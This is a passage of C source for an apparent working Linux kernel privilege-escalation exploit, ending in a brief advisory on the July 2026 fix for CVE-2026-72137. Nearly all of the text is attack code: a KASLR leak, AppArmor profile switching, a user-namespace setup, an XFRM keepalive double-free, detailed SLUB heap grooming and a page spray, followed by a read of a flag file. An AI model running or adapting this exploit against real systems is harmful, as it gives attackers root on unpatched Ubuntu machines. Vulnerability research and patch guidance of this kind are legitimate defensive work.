printf("%s profile=%s", tag, buffer);
}
static int write_map(pid_t pid, const char *file, const char *value)
{
char path[128];
int fd;
size_t len = strlen(value);
snprintf(path, sizeof(path), "/proc/%d/%s", pid, file);
fd = open(path, O_WRONLY | O_CLOEXEC);
if (fd < 0)
return -1;
if (write(fd, value, len) != (ssize_t)len) {
int saved = errno;
close(fd);
errno = saved;
return -1;
}
close(fd);
return 0;
}
static void external_jammer(void)
{
struct sockaddr_in destination = {
.sin_family = AF_INET,
.sin_port = htons(9),
};
char payload = 'J';
char gate;
int sockets[32];
int index = 0;
struct timespec deadline;
struct timespec now;
/* Allocate transmit skbs on CPU1; virtio completions free on CPU0. */
pin_cpu(1);
if (inet_pton(AF_INET, "10.0.2.2", &destination.sin_addr) != 1)
_exit(20);
for (int i = 0; i < (int)(sizeof(sockets) / sizeof(sockets[0])); i++) {
sockets[i] = socket(AF_INET, SOCK_DGRAM | SOCK_NONBLOCK, 0);
if (sockets[i] < 0)
_exit(21);
if (connect(sockets[i], (struct sockaddr *)&destination,
sizeof(destination)) < 0)
_exit(22);
}
close(jammer_gate[1]);
if (read(jammer_gate[0], &gate, 1) != 1)
_exit(23);
close(jammer_gate[0]);
clock_gettime(CLOCK_MONOTONIC, &deadline);
deadline.tv_nsec += 990000000L;
if (deadline.tv_nsec >= 1000000000L) {
deadline.tv_nsec -= 1000000000L;
deadline.tv_sec++;
}
for (;;) {
(void)send(sockets[index], &payload, sizeof(payload), MSG_DONTWAIT);
index = (index + 1) & 31;
if ((index & 255) == 0) {
clock_gettime(CLOCK_MONOTONIC, &now);
if (now.tv_sec > deadline.tv_sec ||
(now.tv_sec == deadline.tv_sec &&
now.tv_nsec >= deadline.tv_nsec))
break;
sched_yield();
}
}
_exit(0);
}
static void install_xfrm_state(uint32_t interval)
{
struct {
struct xfrm_algo alg;
char key[1];
} auth = {
.alg = {
.alg_name = "digest_null",
.alg_key_len = 0,
},
};
struct {
struct xfrm_algo alg;
char key[1];
} crypt = {
.alg = {
.alg_name = "ecb(cipher_null)",
.alg_key_len = 0,
},
};
struct xfrm_encap_tmpl encap = {
.encap_type = UDP_ENCAP_ESPINUDP,
.encap_sport = htons(4500),
.encap_dport = htons(4500),
};
uint8_t direction = XFRM_SA_DIR_OUT;
struct sockaddr_nl address = {
.nl_family = AF_NETLINK,
};
struct {
struct nlmsghdr nlh;
struct nlmsgerr err;
char buffer[256];
} response;
struct iovec iov = {
.iov_base = &req,
.iov_len = sizeof(req),
};
struct msghdr message = {
.msg_name = &address,
.msg_namelen = sizeof(address),
.msg_iov = &iov,
.msg_iovlen = 1,
};
ssize_t length;
int fd;
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
if (fd < 0)
die("socket(NETLINK_XFRM)");
memset(&req, 0, sizeof(req));
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(req.xsinfo));
req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK |
NLM_F_CREATE | NLM_F_EXCL;
req.nlh.nlmsg_type = XFRM_MSG_NEWSA;
req.xsinfo.family = AF_INET;
req.xsinfo.id.proto = IPPROTO_ESP;
req.xsinfo.id.spi = htonl(0x5f6e6562);
req.xsinfo.mode = XFRM_MODE_TRANSPORT;
req.xsinfo.sel.family = AF_INET;
if (inet_pton(AF_INET, "127.0.0.1", &req.xsinfo.saddr) != 1 ||
inet_pton(AF_INET, "127.0.0.1", &req.xsinfo.id.daddr) != 1 ||
inet_pton(AF_INET, "127.0.0.1", &encap.encap_oa) != 1)
die("inet_pton(XFRM)");
req.xsinfo.lft.soft_byte_limit = XFRM_INF;
req.xsinfo.lft.soft_packet_limit = XFRM_INF;
req.xsinfo.lft.hard_byte_limit = XFRM_INF;
req.xsinfo.lft.hard_packet_limit = XFRM_INF;
addattr_nest(&req.nlh, sizeof(req), XFRMA_ALG_AUTH,
&auth, sizeof(auth.alg));
addattr_nest(&req.nlh, sizeof(req), XFRMA_ALG_CRYPT,
&crypt, sizeof(crypt.alg));
addattr_nest(&req.nlh, sizeof(req), XFRMA_ENCAP,
&encap, sizeof(encap));
addattr_l(&req.nlh, sizeof(req), XFRMA_SA_DIR,
&direction, sizeof(direction));
if (interval)
addattr_l(&req.nlh, sizeof(req), XFRMA_NAT_KEEPALIVE_INTERVAL,
&interval, sizeof(interval));
if (sendmsg(fd, &message, 0) < 0)
die("sendmsg(XFRM_MSG_NEWSA)");
memset(&response, 0, sizeof(response));
length = recv(fd, &response, sizeof(response), 0);
if (length < (ssize_t)(NLMSG_HDRLEN + sizeof(struct nlmsgerr)))
die("recv(XFRM ack)");
if (response.nlh.nlmsg_type == NLMSG_ERROR && response.err.error) {
errno = -response.err.error;
die("XFRM_MSG_NEWSA");
}
close(fd);
}
static void delete_xfrm_state(void)
{
struct {
struct nlmsghdr nlh;
struct xfrm_usersa_id id;
} request = { 0 };
struct {
struct nlmsghdr nlh;
struct nlmsgerr err;
char buffer[128];
} response;
struct sockaddr_nl address = { .nl_family = AF_NETLINK };
ssize_t length;
int fd;
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_XFRM);
if (fd < 0)
die("socket(NETLINK_XFRM delete)");
request.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(request.id));
request.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
request.nlh.nlmsg_type = XFRM_MSG_DELSA;
request.id.family = AF_INET;
request.id.proto = IPPROTO_ESP;
request.id.spi = htonl(0x5f6e6562);
if (inet_pton(AF_INET, "127.0.0.1", &request.id.daddr) != 1)
die("inet_pton(XFRM delete)");
if (sendto(fd, &request, request.nlh.nlmsg_len, 0,
(struct sockaddr *)&address, sizeof(address)) < 0)
die("sendto(XFRM_MSG_DELSA)");
memset(&response, 0, sizeof(response));
length = recv(fd, &response, sizeof(response), 0);
if (length < (ssize_t)(NLMSG_HDRLEN + sizeof(struct nlmsgerr)))
die("recv(XFRM delete ack)");
if (response.nlh.nlmsg_type == NLMSG_ERROR && response.err.error) {
errno = -response.err.error;
die("XFRM_MSG_DELSA");
}
close(fd);
}
static int rtnetlink_ack(int fd, uint32_t sequence)
{
unsigned char buffer[8192];
ssize_t length;
for (;;) {
struct nlmsghdr *header;
length = recv(fd, buffer, sizeof(buffer), 0);
if (length < 0)
return -1;
for (header = (struct nlmsghdr *)buffer;
NLMSG_OK(header, length);
header = NLMSG_NEXT(header, length)) {
struct nlmsgerr *error;
if (header->nlmsg_seq != sequence ||
header->nlmsg_type != NLMSG_ERROR)
continue;
error = NLMSG_DATA(header);
if (error->error) {
errno = -error->error;
return -1;
}
return 0;
}
}
}
static void install_zero_limit_pfifo(void)
{
unsigned char buffer[1024] = { 0 };
struct nlmsghdr *header = (struct nlmsghdr *)buffer;
struct tcmsg *message;
struct tc_fifo_qopt options = {
.limit = 0,
};
struct sockaddr_nl address = {
.nl_family = AF_NETLINK,
};
unsigned int ifindex = if_nametoindex("lo");
static uint32_t sequence;
int fd;
if (!ifindex)
die("if_nametoindex(lo)");
fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0)
die("socket(NETLINK_ROUTE)");
header->nlmsg_len = NLMSG_LENGTH(sizeof(*message));
header->nlmsg_type = RTM_NEWQDISC;
header->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK |
NLM_F_CREATE | NLM_F_REPLACE;
header->nlmsg_seq = ++sequence;
message = NLMSG_DATA(header);
message->tcm_family = AF_UNSPEC;
message->tcm_ifindex = (int)ifindex;
message->tcm_handle = 0x10000U;
message->tcm_parent = TC_H_ROOT;
addattr_l(header, sizeof(buffer), TCA_KIND,
"pfifo", sizeof("pfifo"));
addattr_l(header, sizeof(buffer), TCA_OPTIONS,
&options, sizeof(options));
if (sendto(fd, header, header->nlmsg_len, 0,
(struct sockaddr *)&address, sizeof(address)) < 0)
die("sendto(RTM_NEWQDISC pfifo)");
if (rtnetlink_ack(fd, header->nlmsg_seq) < 0)
die("RTM_NEWQDISC pfifo ack");
close(fd);
}
static int namespace_child(void *unused)
{
int groom[GROOM_PAIRS][2];
int partial_guard[GUARD_PAIRS][2];
int nfqueue;
int nflog;
struct cleaner_socket cleaner;
struct queue_notice notice[MAX_QUEUE_TRIES];
int notice_cpu[MAX_QUEUE_TRIES];
int cleaner_count;
char gate;
(void)unused;
close(child_gate[1]);
if (read(child_gate[0], &gate, 1) != 1)
_exit(30);
close(child_gate[0]);
if (setresgid(0, 0, 0) < 0 || setresuid(0, 0, 0) < 0)
die("setresuid/setresgid");
printf("namespace uid=%u gid=%u\n", getuid(), getgid());
print_profile("namespace");
pin_cpu(0);
set_loopback_up();
save_user_state();
/* Protocol zero keeps the allocator-only RX ring detached from traffic;
* otherwise background loopback/virtio packets can overwrite a forged
* frame between mmap() and the stale-skb release. */
packet_fd = socket(AF_PACKET, SOCK_RAW, 0);
if (packet_fd < 0)
die("socket(AF_PACKET)");
nfqueue = open_and_bind_nfqueue();
cleaner = open_cleaner_socket();
install_ipv6_output_queue();
install_ipv4_output_drop();
nflog = open_and_bind_nflog();
/* Load nft/XFRM algorithms and let their uevents finish before the one
* vulnerable keepalive is armed. The warm-up state deliberately omits
* XFRMA_NAT_KEEPALIVE_INTERVAL and therefore has no timer callback. */
install_xfrm_state(0);
delete_xfrm_state();
sleep(15);
for (int i = 0; i < GROOM_PAIRS; i++) {
make_unix_pair(groom[i]);
for (int j = 0; j < GROOM_PER_PAIR; j++)
send_byte(groom[i][0]);
}
for (int i = 0; i < GUARD_PAIRS; i++)
make_unix_pair(partial_guard[i]);
/*
* Ubuntu 7.0 keeps recently freed sk_buff heads in a 28-entry per-CPU
* sheaf. Unlike the old SLUB freelist, two adjacent frees are therefore
* retained as A,A and need no B interposition. Drain both possible CPU
* sheaves immediately after the delayed keepalive has run.
*/
/*
* NFLOG is a stock, read-only synchronization signal: MSG_PEEK keeps its
* notification skb queued, so observing the DROP does not perturb either
* per-CPU skb sheaf before A,A are consumed.
*/
/*
* Seed both CPU sheaves from a contiguous, fully controlled tail of the
* AF_UNIX allocation before arming the callback. The XFRM skb will then
* share a slab only
* with objects that are already free or that we drain below, instead of
* with long-lived setup skbs that prevent page reclamation.
*/
for (int cpu = 0; cpu < 2; cpu++) {
pin_cpu(cpu);
int begin = PRESEED_START + cpu * PRESEED_PAIRS_PER_CPU;
int end = begin + PRESEED_PAIRS_PER_CPU;
for (int i = begin; i < end; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
}
pin_cpu(0);
install_xfrm_state(1);
puts("armed assigned 226f4a49 double-free; waiting on NFLOG");
wait_for_nflog_packet(nflog);
/* NFLOG enqueue precedes the adjacent A,A frees by only a few usec. */
if (capture_delay_us)
usleep(capture_delay_us);
/*
* On whichever CPU ran the XFRM worker, the IPv6 datagram and its
* netlink notification consume A,A. nf_queue_entry retains the first
* reference externally; receiving the notification frees the second.
* A normal attempt consumes two different heads but receiving its notice
* puts the second one back on top, removing one intervening object. Thus a
* short serial walk converges on A,A even if a few background frees landed
* ahead of the duplicate.
*/
int queued = 0;
int target = -1;
int target_cpu = -1;
for (int cpu = 0; cpu < 1 && target < 0; cpu++) {
pin_cpu(cpu);
for (int attempt = 0; attempt < QUEUE_TRIES_PER_CPU; attempt++) {
queue_one_ipv6_packet((unsigned char)('A' + cpu));
notice_cpu[queued] = cpu;
notice[queued] = receive_queue_notice(nfqueue);
if (notice[queued].malformed) {
target = queued;
target_cpu = cpu;
queued++;
break;
}
queued++;
}
}
printf("NFQUEUE retained %d packets ids=%u..%u\n", queued,
notice[0].packet_id, notice[queued - 1].packet_id);
if (target < 0)
die("double-free capture missed");
printf("captured duplicate id=%u on cpu%d\n",
notice[target].packet_id, target_cpu);
/*
* If the duplicate is captured by a later queue attempt, every earlier
* NFQUEUE entry can be another live owner of the same twice-allocated skb.
* Release those aliases first, then immediately consume the freshly freed
* head with the cleaner. For a first-attempt capture the second A is
* already free, so the same cleaner step applies directly. In both cases
* this leaves exactly one external NFQUEUE reference and no duplicate in a
* sheaf before any bulk flush reaches SLAB_FREELIST_HARDENED.
*/
for (int i = 0; i < target; i++) {
pin_cpu(notice_cpu[i]);
send_queue_drop_verdict(nfqueue, notice[i].packet_id);
}
pin_cpu(target_cpu);
/* Every earlier verdict places its independent skb ahead of the duplicate
* again. Pin all of those heads plus A with queued cleaner messages. */
cleaner_count = target + 1;
for (int i = 0; i < cleaner_count; i++)
send_cleaner(&cleaner);
puts("cleaner allocated");
/* Stop later one-second keepalives without touching the captured sheaf. */
pin_cpu(target_cpu ^ 1);
delete_xfrm_state();
puts("xfrm state deleted");
puts("earlier NFQUEUE aliases released");
/*
* Overflow the v7 SLUB barn (10 full 28-object sheaves) on the captured
* CPU. Its E2BIG path flushes the spare sheaf containing A to the slab
* allocator. Keep NFLOG's adjacent notification allocated during this
* first phase: it prevents A's slab from becoming one of min_partial's
* permanently retained empty slabs while the bulk groom slabs are drained.
*/
pin_cpu(target_cpu);
for (int i = 0; i < GROOM_PAIRS * 3 / 4; i++) {
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
}
puts("bulk phase one drained");
/* Empty the target slab only after the node already has ample partials. */
close(nflog);
for (int i = GROOM_PAIRS * 3 / 4; i < PRESEED_START; i++) {
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
}
puts("target slab neighbours drained");
/* Flush the controlled preseed that belongs to the other CPU as well. */
pin_cpu(target_cpu ^ 1);
for (int i = GROOM_PAIRS - 16; i < GROOM_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
send_byte(groom[i][0]);
for (int i = GROOM_PAIRS - 16; i < GROOM_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
pin_cpu(target_cpu);
/*
* The first empty slabs can be retained by min_partial. Refill the cache
* deeply enough to consume those partial slabs, then drain in reverse slab
* order. The target page is consequently emptied only after the partial
* list is already saturated, while thousands of later frees still force
* its containing sheaf through the barn.
*/
for (int i = 0; i < GROOM_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
send_byte(groom[i][0]);
for (int i = GROOM_PAIRS - 1; i >= POST_TARGET_PAIRS; i--)
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
puts("partial slabs saturated");
/* Allocate every flush cohort while A is still live. Once A is released
* below, no further skbuff allocation may recreate a slab that has already
* reached the buddy allocator. */
for (int i = CPU0_DRAIN_FIRST;
i < CPU0_DRAIN_FIRST + CPU0_DRAIN_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
send_byte(groom[i][0]);
for (int i = 0; i < GUARD_OBJECTS; i++)
send_byte(partial_guard[i % GUARD_PAIRS][0]);
for (int i = CPU0_FILL_FIRST;
i < CPU0_FILL_FIRST + CPU0_FILL_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
send_byte(groom[i][0]);
for (int i = CPU0_FINAL_FIRST;
i < CPU0_FINAL_FIRST + CPU0_FINAL_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
send_byte(groom[i][0]);
pin_cpu(target_cpu ^ 1);
for (int i = CPU1_DRAIN_FIRST;
i < CPU1_DRAIN_FIRST + CPU1_DRAIN_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
send_byte(groom[i][0]);
for (int i = CPU1_FILL_FIRST;
i < CPU1_FILL_FIRST + CPU1_FILL_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
send_byte(groom[i][0]);
for (int i = CPU1_FINAL_FIRST;
i < CPU1_FINAL_FIRST + CPU1_FINAL_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
send_byte(groom[i][0]);
pin_cpu(target_cpu);
/* Fill the shared barn and create more than min_partial live partial
* slabs before A's cohort is returned. */
for (int i = CPU0_FILL_FIRST;
i < CPU0_FILL_FIRST + CPU0_FILL_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
for (int i = 1; i < GUARD_PAIRS; i += 2)
for (int j = 0; j < GUARD_OBJECTS / GUARD_PAIRS; j++)
receive_byte(partial_guard[i][1]);
for (int i = CPU0_FINAL_FIRST;
i < CPU0_FINAL_FIRST + PRE_TARGET_PUSH_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
/* Flush the other CPU while cleaner still pins A's slab. */
pin_cpu(target_cpu ^ 1);
for (int i = CPU1_FILL_FIRST;
i < CPU1_FILL_FIRST + CPU1_FILL_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
for (int i = CPU1_DRAIN_FIRST;
i < CPU1_DRAIN_FIRST + CPU1_DRAIN_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
for (int i = CPU1_FINAL_FIRST;
i < CPU1_FINAL_FIRST + CPU1_FINAL_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
pin_cpu(target_cpu);
/* A is the final live pin. Return it and its neighbours only after every
* other preparation has finished, then push the last CPU0 sheaves and
* enter the page spray without closing descriptors or allocating skbs. */
for (int i = 0; i < cleaner_count; i++)
receive_cleaner(&cleaner);
for (int i = POST_TARGET_PAIRS - 1; i >= 0; i--)
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
for (int i = CPU0_DRAIN_FIRST;
i < CPU0_DRAIN_FIRST + CPU0_DRAIN_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
for (int i = CPU0_FINAL_FIRST + PRE_TARGET_PUSH_PAIRS;
i < CPU0_FINAL_FIRST + CPU0_FINAL_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
/* Consume every full sheaf and the bounded node-partial population. The
* target page is consequently in this first cohort even when its prior
* emptying was retained by min_partial. A disjoint tail is allocated
* afterwards solely to push the target cohort through main/spare. */
for (int i = POST_DRAIN_FIRST;
i < POST_DRAIN_FIRST + POST_DRAIN_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
send_byte(groom[i][0]);
for (int i = POST_FILL_FIRST;
i < POST_FILL_FIRST + POST_FILL_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
send_byte(groom[i][0]);
for (int i = POST_PUSH_FIRST;
i < POST_PUSH_FIRST + POST_PUSH_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
send_byte(groom[i][0]);
for (int i = POST_FILL_FIRST;
i < POST_FILL_FIRST + POST_FILL_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
for (int i = POST_DRAIN_FIRST;
i < POST_DRAIN_FIRST + POST_DRAIN_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
for (int i = POST_PUSH_FIRST;
i < POST_PUSH_FIRST + POST_PUSH_PAIRS; i++)
for (int j = 0; j < GROOM_PER_PAIR; j++)
receive_byte(groom[i][1]);
/* The final receive may discard A's slab. Do not print, yield, close a
* descriptor, or make any unrelated syscall before the prepared ring takes
* order-0 pages from the same CPU's allocator. */
packet_page_spray();
send_queue_drop_verdict(nfqueue, notice[target].packet_id);
usleep(200000);
{
int fd = open(flag_path, O_RDONLY | O_CLOEXEC);
char flag[256];
ssize_t got;
if (fd >= 0 && (got = read(fd, flag, sizeof(flag) - 1)) > 0) {
flag[got] = 0;
printf("FLAG=%s\n", flag);
return 0;
}
}
puts("no flag after page spray");
return 2;
}
int main(void)
{
char map[64];
char *stack;
pid_t child;
int status;
struct rlimit nofile = { .rlim_cur = 8192, .rlim_max = 8192 };
setvbuf(stdout, NULL, _IONBF, 0);
if (setrlimit(RLIMIT_NOFILE, &nofile) < 0)
die("setrlimit(RLIMIT_NOFILE)");
kaslr_slide = leak_image_slide_checked() + UBUNTU_IMAGE_EDGE_BIAS;
printf("kaslr slide=%#llx\n", (unsigned long long)kaslr_slide);
printf("capture delay=%u us\n", capture_delay_us);
printf("start uid=%u gid=%u\n", getuid(), getgid());
print_profile("start");
errno = 0;
if (change_profile("/usr/lib/snapd/snap-confine") < 0)
die("first changeprofile");
printf("first changeprofile rc=0 errno=0\n");
print_profile("stacked");
errno = 0;
if (change_profile("plasmashell") < 0)
die("second changeprofile");
printf("second changeprofile rc=0 errno=0\n");
print_profile("final-parent");
if (pipe(child_gate) < 0)
die("pipe");
stack = malloc(STACK_SIZE);
if (!stack)
die("malloc(stack)");
child = clone(namespace_child, stack + STACK_SIZE,
CLONE_NEWUSER | CLONE_NEWNET | CLONE_NEWIPC | SIGCHLD,
NULL);
if (child < 0)
die("clone(USER|NET|IPC)");
close(child_gate[0]);
if (write_map(child, "setgroups", "deny\n") < 0)
die("setgroups map");
snprintf(map, sizeof(map), "0 %u 1\n", getuid());
if (write_map(child, "uid_map", map) < 0)
die("uid_map");
snprintf(map, sizeof(map), "0 %u 1\n", getgid());
if (write_map(child, "gid_map", map) < 0)
die("gid_map");
if (write(child_gate[1], "x", 1) != 1)
die("release child");
close(child_gate[1]);
waitpid(child, &status, 0);
printf("namespace child status=%d\n", status);
return WIFEXITED(status) ? WEXITSTATUS(status) : 1;
}
The selected file is the execution entry point. Build files, headers, leak helpers, and supporting sources remain in the linked CyberMeowfia directory.
Patch
Fixed upstream in July 2026. The fixed code follows the transmit API’s ownership contract and does not free a packet after it has been consumed. Install the Ubuntu kernel update containing the July 2026 upstream fix.
The safest check is the distribution’s own kernel changelog for CVE-2026-72137;
version numbers alone can be misleading because vendors routinely backport
security fixes without changing to the newest upstream kernel.
